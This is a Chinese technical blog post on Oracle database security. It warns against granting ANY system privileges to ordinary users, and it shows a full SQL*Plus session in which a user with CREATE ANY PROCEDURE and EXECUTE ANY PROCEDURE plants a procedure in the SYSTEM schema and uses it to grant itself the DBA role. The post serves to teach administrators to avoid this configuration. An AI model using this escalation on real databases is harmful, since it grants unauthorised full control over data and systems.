Chinaunix首页 | 论坛 | 博客
  • 博客访问: 2322697
  • 博文数量: 310
  • 博客积分: 6853
  • 博客等级: 准将
  • 技术积分: 2833
  • 用 户 组: 普通用户
  • 注册时间: 2005-08-04 16:41
文章分类

全部博文(310)

文章存档

2013年(17)

2012年(42)

2011年(76)

2010年(71)

2009年(99)

2007年(2)

2006年(1)

2005年(2)

分类: Oracle

2010-06-08 13:50:14

Oracle推荐给用户授予权限时,给予用户可以完成操作的最小权限。应当尽量避免对用户授予包含ANY的系统权限,如SELECT ANY TABLE,CREATE ANY TABLE等。


这些包含ANY的系统权限很大,只应该授权给DBA用户,而不应该授权给普通用户。如果给非DBA用户授权ANY系统权限,则会使数据库处于不安全状态。

下面的例子展示了一个用户具有了CREATE ANY PROCEDURE和EXECUTE ANY PROCEDURE权限,就可以通过其他方式获取数据库中所有的权限。

SQL> create user a identified by a;

用户已创建

SQL> grant create session to a;

授权成功。

SQL> grant create any procedure, execute any procedure to a;

授权成功。

SQL> conn a/a@test4
已连接。
SQL> select * from session_privs;

PRIVILEGE
----------------------------------------
CREATE SESSION
CREATE ANY PROCEDURE
EXECUTE ANY PROCEDURE

SQL> select * from session_roles;

未选定行

SQL> create procedure system.p_execute(p_str in varchar2) as
2 begin
3 execute immediate p_str;
4 end;
5 /

过程已创建。

SQL> exec system.p_execute('grant dba to a');

PL/SQL 过程已成功完成。

SQL> conn a/a@test4
已连接。
SQL> select * from session_privs;

PRIVILEGE
----------------------------------------
ALTER SYSTEM
AUDIT SYSTEM

CREATE SESSION
ALTER SESSION
RESTRICTED SESSION
.
.
.
ALTER ANY RULE SET
DROP ANY RULE SET
EXECUTE ANY RULE SET

已选择140行。

SQL> select * from session_roles;

ROLE
------------------------------
DBA
SELECT_CATALOG_ROLE
HS_ADMIN_ROLE
EXECUTE_CATALOG_ROLE
DELETE_CATALOG_ROLE
EXP_FULL_DATABASE
IMP_FULL_DATABASE
GATHER_SYSTEM_STATISTICS
WM_ADMIN_ROLE

已选择9行。


阅读(650) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~